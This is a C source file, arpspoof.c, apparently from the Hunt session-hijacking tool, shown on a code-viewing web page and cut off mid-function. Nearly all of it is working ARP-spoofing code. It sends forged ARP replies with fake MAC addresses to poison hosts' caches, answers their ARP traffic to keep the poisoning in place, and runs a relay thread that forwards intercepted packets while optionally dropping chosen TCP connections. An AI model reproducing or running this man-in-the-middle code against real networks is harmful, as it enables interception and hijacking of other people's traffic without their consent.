📄 arpspoof.c
字号:
/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */#include "hunt.h"#include <sys/time.h>#include <unistd.h>#include <stdlib.h>#include <stdio.h>#include <string.h>#include <time.h>#include <assert.h>#include <signal.h>static struct list l_arp_spoof = LIST_INIT(struct arp_spoof_info, next);static struct list l_arp_dont_relay = LIST_INIT(struct arp_dont_relay, next);static struct ifunc_item ifunc_arp;static pthread_t relay_thr;static struct ifunc_item ifunc_relay;static struct list l_relay_pkt = LIST_INIT(struct packet, p_next[MODULE_ARP_SPOOF]);static int relayer_running = 0;static void send_src_spoof_to_dst(struct arp_spoof_info *asi){ struct arp_spec as_dst; as_dst.src_mac = asi->src_fake_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REPLY); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi->src_fake_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = asi->dst_mac; as_dst.target_addr = asi->dst_addr; send_arp_packet(&as_dst); send_arp_packet(&as_dst); send_arp_packet(&as_dst);}/* * this function runs in hunt thread * and sends ARP respons to ARP requests which are now handled by as */static void func_arp(struct packet *p, void *arg){ struct list_iterator li; struct arphdr *arph; struct arpeth_hdr *arpethh; struct arp_spoof_info *asi; arph = p->p_arph; arpethh = (struct arpeth_hdr *)(arph + 1); if (arph->ar_pro != htons(ETH_P_IP)) return; /* * ok don't look at oper field, we want to send ARP * to request and reply too */ list_lock(&l_arp_spoof); list_iter_set(&li, &l_arp_spoof); if (arph->ar_op == htons(ARPOP_REPLY)) { while ((asi = list_iter_get(&li))) { if (*(unsigned int *) arpethh->ar_sip == asi->src_addr && *(unsigned int *) arpethh->ar_tip == asi->dst_addr) send_src_spoof_to_dst(asi); } } else { /* request */ while ((asi = list_iter_get(&li))) { if (*(unsigned int *) arpethh->ar_sip == asi->dst_addr && *(unsigned int *) arpethh->ar_tip == asi->src_addr) send_src_spoof_to_dst(asi); } } list_iter_end(&li); list_unlock(&l_arp_spoof);}static struct arp_spoof_info *get_asi(unsigned int src_addr, unsigned int dst_addr){ struct list_iterator li; struct arp_spoof_info *asi; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == src_addr && asi->dst_addr == dst_addr) { list_iter_end(&li); return asi; } } list_iter_end(&li); return NULL;}struct arp_dont_relay *arp_dont_relay_insert( unsigned int src_addr, unsigned int dst_addr, unsigned int src_port, unsigned int dst_port){ struct arp_dont_relay *adr; assert(adr = malloc(sizeof(struct arp_dont_relay))); adr->src_addr = src_addr; adr->dst_addr = dst_addr; adr->src_port = src_port; adr->dst_port = dst_port; list_push(&l_arp_dont_relay, adr); return adr;}void arp_dont_relay_remove(struct arp_dont_relay *adr){ list_remove(&l_arp_dont_relay, adr); free(adr);}struct arp_spoof_info *start_arp_spoof(unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac, char *src_fake_mac){ struct arp_spoof_info *asi; if ((asi = get_asi(src_addr, dst_addr))) { asi->use_count++; return asi; } if (!src_mac || !dst_mac || !src_fake_mac) return NULL; if (list_count(&l_arp_spoof) == 0) { ifunc_arp.func = func_arp; ifunc_arp.arg = NULL; list_enqueue(&l_ifunc_arp, &ifunc_arp); } assert(asi = malloc(sizeof(struct arp_spoof_info))); memset(asi, 0, sizeof(struct arp_spoof_info)); pthread_mutex_init(&asi->mutex, NULL); asi->use_count = 1; asi->src_addr = src_addr; asi->dst_addr = dst_addr; memcpy(asi->src_fake_mac, src_fake_mac, ETH_ALEN); memcpy(asi->dst_mac, dst_mac, ETH_ALEN); memcpy(asi->src_mac, src_mac, ETH_ALEN); send_src_spoof_to_dst(asi); list_enqueue(&l_arp_spoof, asi); return asi;}void force_arp_spoof(struct arp_spoof_info *asi, int count){ int i; for (i = 0; i < count; i++) send_src_spoof_to_dst(asi);}struct arp_spoof_info *get_arp_spoof(unsigned int src_addr, unsigned int dst_addr){ struct list_iterator li; struct arp_spoof_info *asi, *retval; retval = NULL; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == src_addr && asi->dst_addr == dst_addr) { retval = asi; break; } } list_iter_end(&li); return retval;}void stop_arp_spoof(struct arp_spoof_info *asi){ struct arp_spec as_dst; if (--asi->use_count > 0) return; list_remove(&l_arp_spoof, asi); as_dst.src_mac = asi->src_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REPLY); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi->src_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = asi->dst_mac; as_dst.target_addr = asi->dst_addr; send_arp_packet(&as_dst); send_arp_packet(&as_dst); send_arp_packet(&as_dst); list_lock(&l_arp_spoof); pthread_mutex_lock(&asi->mutex); free(asi); if (list_count(&l_arp_spoof) == 0) { list_remove(&l_ifunc_arp, &ifunc_arp); } list_unlock(&l_arp_spoof);}/* * this function runs in hunt thread * enqueues packets for relaying of hosts which are ARP spoofed */static void func_relay(struct packet *p, void *arg){ struct list_iterator li; struct arp_spoof_info *asi; list_lock(&l_arp_spoof); list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (p->p_iph->saddr == asi->dst_addr && p->p_iph->daddr == asi->src_addr && memcmp(p->p_ethh->h_source, asi->dst_mac, ETH_ALEN) == 0 && memcmp(p->p_ethh->h_dest, asi->src_fake_mac, ETH_ALEN) == 0) { packet_want(p); pthread_mutex_lock(&asi->mutex); p->p_arg[MODULE_ARP_SPOOF] = asi; list_produce(&l_relay_pkt, p); break; } } list_iter_end(&li); list_unlock(&l_arp_spoof);}static int check_relay(struct packet *p){ struct arp_dont_relay *adr; struct list_iterator li; struct iphdr *iph; struct tcphdr *tcph; int relay; iph = p->p_iph; tcph = p->p_hdr.p_tcph; relay = 1; list_lock(&l_arp_dont_relay); list_iter_set(&li, &l_arp_dont_relay); while ((adr = list_iter_get(&li))) { if (adr->src_addr == iph->saddr && adr->dst_addr == iph->daddr && adr->src_port == tcph->source && adr->dst_port == tcph->dest) { relay = 0; break; } if (adr->src_addr == iph->daddr && adr->dst_addr == iph->saddr && adr->src_port == tcph->dest && adr->dst_port == tcph->source) { relay = 0; break; } } list_iter_end(&li); list_unlock(&l_arp_dont_relay); return relay;}static void *arp_relay(void *arg){ struct packet *p, *p_new; struct arp_spoof_info *asi, *asi_dst; struct list_iterator li; struct iphdr *iph; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); setpriority(PRIO_PROCESS, getpid(), 10); while ((p = list_consume(&l_relay_pkt, NULL))) { asi = p->p_arg[MODULE_ARP_SPOOF]; if (!check_relay(p)) { pthread_mutex_unlock(&asi->mutex); packet_free(p); continue; } p_new = packet_new(); packet_copy_data(p_new, p); packet_free(p); p = p_new; iph = p->p_iph;#if 0 printf("got %s to ", host_lookup(iph->saddr, hl_mode)); printf("%s\n", host_lookup(iph->daddr, hl_mode));#endif memcpy(p->p_ethh->h_dest, asi->src_mac, ETH_ALEN); pthread_mutex_unlock(&asi->mutex); list_iter_set(&li, &l_arp_spoof); while ((asi_dst = list_iter_get(&li))) { if (iph->saddr == asi_dst->src_addr && iph->daddr == asi_dst->dst_addr) { memcpy(p->p_ethh->h_source, asi_dst->src_fake_mac, ETH_ALEN); break; } } list_iter_end(&li); send_packet(p_new); packet_free(p_new); } return NULL;}static int start_arp_relayer(void){ list_produce_start(&l_relay_pkt); if (relayer_running) { printf("daemon already running\n"); return -1; } pthread_create(&relay_thr, NULL, arp_relay, NULL); ifunc_relay.func = func_relay; ifunc_relay.arg = NULL; list_enqueue(&l_ifunc_ip, &ifunc_relay); relayer_running = 1; printf("daemon started\n"); return 0; }static int stop_arp_relayer(void){ if (!relayer_running) { printf("daemon isn't running\n"); return -1; } list_remove(&l_ifunc_ip, &ifunc_relay); packet_flush(&l_relay_pkt); list_produce_done(&l_relay_pkt); pthread_join(relay_thr, NULL); relayer_running = 0; printf("daemon stopped\n"); return 0;}void print_arp_relayer_daemon(void){ if (relayer_running) {
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -